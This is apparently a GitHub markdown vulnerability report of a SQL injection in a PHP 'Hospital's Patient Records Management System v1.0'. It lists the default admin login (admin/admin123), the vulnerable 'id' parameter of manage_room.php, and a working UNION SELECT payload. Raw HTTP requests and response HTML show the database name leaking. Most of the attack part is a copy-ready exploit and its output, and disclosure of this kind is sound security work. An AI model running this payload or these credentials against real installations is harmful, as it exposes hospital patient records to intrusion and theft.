debug601 Create SQLi-9.md History

1 contributor

29 lines (20 sloc) | 1.21 KB

Hospital's Patient Records Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html

Vulnerability File: /hprms/admin/rooms/manage_room.php?id=

Vulnerability location: /hprms/admin/rooms/manage_room.php?id=, id

Current database name: hprms_db ,length is 8

[+] Payload: /hprms/admin/rooms/manage_room.php?id=-1%27%20union%20select%201,2,database(),4,5,6,7,8--+ // Leak place ---> id

```
GET /hprms/admin/rooms/manage_room.php?id=-1%27%20union%20select%201,2,database(),4,
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

```
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1
Connection: close
```

```
GET
/hprms/admin/rooms/manage_room.php?id=-1%
27%20union%20select%201,2,database(),4,5,
6,7,8--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applicati
on/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1
Connection: close
```

```
        object-position:center
center;
        height:200px;
        width:200px;
    }
</style>
<div class="container-fluid">
    <form action="" id="room-form">
        <input type="hidden" name="id"
value="1">
        <div class="form-group">
            <label for="name"
class="control-label">Room Name</label>
            <input type="text"
name="name" id="name"
class="form-control
form-control-border" placeholder="Enter
Room Name" value ="hprms_db" required>
        </div>
        <div class="form-group">
            <label for="room_type_id"
```